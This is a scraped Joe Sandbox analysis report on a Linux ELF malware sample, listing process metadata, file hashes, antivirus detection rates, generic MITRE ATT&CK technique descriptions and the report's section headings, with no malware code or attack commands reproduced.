Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6302, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6303, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/usr/libexec/gsd-housekeeping
Arguments:	/usr/libexec/gsd-housekeeping
File size:	51840 bytes
MD5 hash:	b55f3394a84976ddb92a2915e5d76914

Source: I9k2Q7HKfO.elf	ReversingLabs: Detection: 65%
Source: I9k2Q7HKfO.elf	Virustotal: Detection: 57%			Perma Link

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report I9k2Q7HKfO.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: I9k2Q7HKfO.elf PID: 6260, Parent PID: 6177

General

Chronological Activities

Analysis Process: I9k2Q7HKfO.elf PID: 6262, Parent PID: 6260

General

Chronological Activities

Analysis Process: sh PID: 6262, Parent PID: 6260

General

Chronological Activities

Analysis Process: sh PID: 6264, Parent PID: 6262

General

Chronological Activities

Analysis Process: rm PID: 6264, Parent PID: 6262

General

Linux Analysis Report
I9k2Q7HKfO.elf